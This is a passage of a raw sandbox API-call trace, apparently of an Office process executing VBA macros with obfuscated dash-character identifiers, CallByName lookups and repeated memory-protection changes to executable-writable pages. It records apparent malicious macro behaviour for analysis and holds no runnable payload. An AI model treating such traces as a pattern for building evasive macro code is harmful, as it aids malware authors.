lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.629] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.629] GetCurrentProcess () returned 0xffffffff [0084.629] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.629] GetCurrentProcess () returned 0xffffffff [0084.629] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.629] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.630] GetCurrentProcess () returned 0xffffffff [0084.630] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.630] GetCurrentProcess () returned 0xffffffff [0084.630] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.630] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.630] GetCurrentProcess () returned 0xffffffff [0084.630] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.630] GetCurrentProcess () returned 0xffffffff [0084.630] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.630] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.631] GetCurrentProcess () returned 0xffffffff [0084.631] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.631] GetCurrentProcess () returned 0xffffffff [0084.631] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.631] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.631] GetCurrentProcess () returned 0xffffffff [0084.631] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.631] GetCurrentProcess () returned 0xffffffff [0084.631] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.631] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.632] GetCurrentProcess () returned 0xffffffff [0084.632] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.632] GetCurrentProcess () returned 0xffffffff [0084.632] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.632] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.632] GetCurrentProcess () returned 0xffffffff [0084.632] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.632] GetCurrentProcess () returned 0xffffffff [0084.632] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.632] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.633] GetCurrentProcess () returned 0xffffffff [0084.633] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.633] GetCurrentProcess () returned 0xffffffff [0084.633] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.633] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.633] GetCurrentProcess () returned 0xffffffff [0084.633] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.633] GetCurrentProcess () returned 0xffffffff [0084.633] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.633] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.635] GetCurrentProcess () returned 0xffffffff [0084.635] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.635] SetErrorMode (uMode=0x8001) returned 0x8001 [0084.635] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0084.635] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x69320000 [0084.636] SetErrorMode (uMode=0x8001) returned 0x8001 [0084.636] GetProcAddress (hModule=0x69320000, lpProcName=0x2c9) returned 0x6952fe55 [0084.637] GetAsyncKeyState (vKey=3) returned 0 [0084.666] CRetailMalloc_Alloc () returned 0xca90b28 [0084.666] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.666] memcpy (in: _Dst=0xfa55040, _Src=0x1978c4, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.666] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.666] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e76b4, cbMultiByte=12, lpWideCharStr=0x1142058c, cchWideChar=26 | out: lpWideCharStr="EGbu4DYv1ISu") returned 12 [0084.667] memcpy (in: _Dst=0xcaa6f60, _Src=0x11420588, _Size=0x1e | out: _Dst=0xcaa6f60) returned 0xcaa6f60 [0084.667] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978dc, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.667] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2d5e, cbMultiByte=6, lpWideCharStr=0x1976c4, cchWideChar=7 | out: lpWideCharStr="VbGet") returned 6 [0084.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92a72, cbMultiByte=6, lpWideCharStr=0x197724, cchWideChar=7 | out: lpWideCharStr="VbGet") returned 6 [0084.667] memcpy (in: _Dst=0xc8b6ed0, _Src=0xb2aaa28, _Size=0x4 | out: _Dst=0xc8b6ed0) returned 0xc8b6ed0 [0084.668] memcpy (in: _Dst=0xfa54f40, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0084.668] memcpy (in: _Dst=0xfa54f44, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0084.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2d82, cbMultiByte=11, lpWideCharStr=0x1976c4, cchWideChar=12 | out: lpWideCharStr="CallByName") returned 11 [0084.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc929ea, cbMultiByte=11, lpWideCharStr=0x197724, cchWideChar=12 | out: lpWideCharStr="CallByName") returned 11 [0084.669] memcpy (in: _Dst=0x1976ec, _Src=0x197760, _Size=0x8 | out: _Dst=0x1976ec) returned 0x1976ec [0084.669] memcpy (in: _Dst=0xcab2fa8, _Src=0x1976ec, _Size=0x8 | out: _Dst=0xcab2fa8) returned 0xcab2fa8 [0084.669] CRetailMalloc_Alloc () returned 0xc7881b8 [0084.669] CRetailMalloc_Free () returned 0x1 [0084.669] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2daa, cbMultiByte=32, lpWideCharStr=0x1976c4, cchWideChar=33 | out: lpWideCharStr="—–––—––––—–—––––––————–——––—–——") returned 32 [0084.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc929ae, cbMultiByte=32, lpWideCharStr=0x197724, cchWideChar=33 | out: lpWideCharStr="—–––—––––—–—––––––————–——––—–——") returned 32 [0084.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc929ae, cbMultiByte=32, lpWideCharStr=0x197724, cchWideChar=33 | out: lpWideCharStr="—–––—––––—–—––––––————–——––—–——") returned 32 [0084.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc929ae, cbMultiByte=32, lpWideCharStr=0x197724, cchWideChar=33 | out: lpWideCharStr="—–––—––––—–—––––––————–——––—–——") returned 32 [0084.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc929ae, cbMultiByte=32, lpWideCharStr=0x197724, cchWideChar=33 | out: lpWideCharStr="—–––—––––—–—––––––————–——––—–——") returned 32 [0084.670] CRetailMalloc_Alloc () returned 0xc8f43a0 [0084.670] _mbscpy_s (in: _Dst=0xc8f43a0, _DstSizeInBytes=0x20, _Src=0xcc929ae | out: _Dst=0xc8f43a0) returned 0x0 [0084.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280ace, cbMultiByte=39, lpWideCharStr=0x197734, cchWideChar=40 | out: lpWideCharStr="_B_var_—–––—––––—–—––––––————–——––—–——") returned 39 [0084.671] _mbscpy_s (in: _Dst=0x19779c, _DstSizeInBytes=0x20, _Src=0xcc929ae | out: _Dst=0x19779c) returned 0x0 [0084.671] CRetailMalloc_Free () returned 0x1 [0084.671] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.672] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.672] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.672] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.672] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.672] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.672] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0084.673] memcpy (in: _Dst=0xca90c14, _Src=0x197944, _Size=0x18 | out: _Dst=0xca90c14) returned 0xca90c14 [0084.673] CRetailMalloc_Realloc () returned 0xca90b28 [0084.673] CRetailMalloc_Free () returned 0x1 [0084.673] GetCurrentProcess () returned 0xffffffff [0084.673] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.673] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.673] GetCurrentProcess () returned 0xffffffff [0084.673] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0084.673] GetCurrentProcess () returned 0xffffffff [0084.673] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.673] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.674] GetCurrentProcess () returned 0xffffffff [0084.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.674] GetCurrentProcess () returned 0xffffffff [0084.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.674] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.674] GetCurrentProcess () returned 0xffffffff [0084.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.674] GetCurrentProcess () returned 0xffffffff [0084.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.674] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.675] GetCurrentProcess () returned 0xffffffff [0084.675] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.675] GetCurrentProcess () returned 0xffffffff [0084.675] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.675] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.675] GetCurrentProcess () returned 0xffffffff [0084.675] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.675] GetCurrentProcess () returned 0xffffffff [0084.675] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.675] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.676] GetCurrentProcess () returned 0xffffffff [0084.676] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.676] GetCurrentProcess () returned 0xffffffff [0084.676] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.676] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.676] GetCurrentProcess () returned 0xffffffff [0084.676] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.676] GetCurrentProcess () returned 0xffffffff [0084.676] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.676] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.677] GetCurrentProcess () returned 0xffffffff [0084.677] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.677] GetCurrentProcess () returned 0xffffffff [0084.677] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.677] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.677] GetCurrentProcess () returned 0xffffffff [0084.677] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.677] GetCurrentProcess () returned 0xffffffff [0084.677] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.677] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.678] GetCurrentProcess () returned 0xffffffff [0084.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.678] GetCurrentProcess () returned 0xffffffff [0084.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.678] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.678] GetCurrentProcess () returned 0xffffffff [0084.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.678] GetCurrentProcess () returned 0xffffffff [0084.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.678] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.679] GetCurrentProcess () returned 0xffffffff [0084.679] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.679] GetCurrentProcess () returned 0xffffffff [0084.679] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.679] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.679] GetCurrentProcess () returned 0xffffffff [0084.679] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.679] GetCurrentProcess () returned 0xffffffff [0084.679] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.679] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.680] GetCurrentProcess () returned 0xffffffff [0084.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.680] GetCurrentProcess () returned 0xffffffff [0084.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.680] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.680] GetCurrentProcess () returned 0xffffffff [0084.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.680] GetCurrentProcess () returned 0xffffffff [0084.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.681] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.681] GetCurrentProcess () returned 0xffffffff [0084.681] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.681] GetCurrentProcess () returned 0xffffffff [0084.681] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.681] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.681] GetCurrentProcess () returned 0xffffffff [0084.681] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.681] GetCurrentProcess () returned 0xffffffff [0084.681] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.681] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.682] GetCurrentProcess () returned 0xffffffff [0084.682] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.682] GetCurrentProcess () returned 0xffffffff [0084.682] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.682] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.682] GetCurrentProcess () returned 0xffffffff [0084.682] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.682] GetCurrentProcess () returned 0xffffffff [0084.682] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.682] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.683] GetCurrentProcess () returned 0xffffffff [0084.683] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.683] GetCurrentProcess () returned 0xffffffff [0084.683] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.683] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.683] GetCurrentProcess () returned 0xffffffff [0084.683] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.683] GetCurrentProcess () returned 0xffffffff [0084.683] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.683] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.684] GetCurrentProcess () returned 0xffffffff [0084.684] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.684] GetCurrentProcess () returned 0xffffffff [0084.684] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.684] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.684] GetCurrentProcess () returned 0xffffffff [0084.684] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.684] GetCurrentProcess () returned 0xffffffff [0084.684] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.684] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.685] GetCurrentProcess () returned 0xffffffff [0084.685] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.685] GetCurrentProcess () returned 0xffffffff [0084.685] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.685] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.685] GetCurrentProcess () returned 0xffffffff [0084.685] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.685] GetCurrentProcess () returned 0xffffffff [0084.685] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.685] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.686] GetCurrentProcess () returned 0xffffffff [0084.686] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.686] GetCurrentProcess () returned 0xffffffff [0084.686] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.686] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.686] GetCurrentProcess () returned 0xffffffff [0084.686] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.686] GetCurrentProcess () returned 0xffffffff [0084.686] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.686] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.687] GetCurrentProcess () returned 0xffffffff [0084.687] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.687] GetCurrentProcess () returned 0xffffffff [0084.687] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.687] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.687] GetCurrentProcess () returned 0xffffffff [0084.687] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.687] GetCurrentProcess () returned 0xffffffff [0084.687] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.687] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.687] GetCurrentProcess () returned 0xffffffff [0084.688] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.688] GetCurrentProcess () returned 0xffffffff [0084.688] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.688] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.688] GetCurrentProcess () returned 0xffffffff [0084.688] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.688] SetErrorMode (uMode=0x8001) returned 0x8001 [0084.688] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0084.688] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x69320000 [0084.688] SetErrorMode (uMode=0x8001) returned 0x8001 [0084.689] GetProcAddress (hModule=0x69320000, lpProcName=0x2cb) returned 0x694f04b4 [0084.690] GetAsyncKeyState (vKey=3) returned 0 [0084.690] CRetailMalloc_Alloc () returned 0xca90c80 [0084.690] memcpy (in: _Dst=0xfa54f38, _Src=0x19779c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.690] memcpy (in: _Dst=0xca90ca0, _Src=0x197804, _Size=0x18 | out: _Dst=0xca90ca0) returned 0xca90ca0 [0084.690] CRetailMalloc_Realloc () returned 0xca90c80 [0084.690] CRetailMalloc_Free () returned 0x1 [0084.690] GetCurrentProcess () returned 0xffffffff [0084.690] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.690] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.691] GetCurrentProcess () returned 0xffffffff [0084.691] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 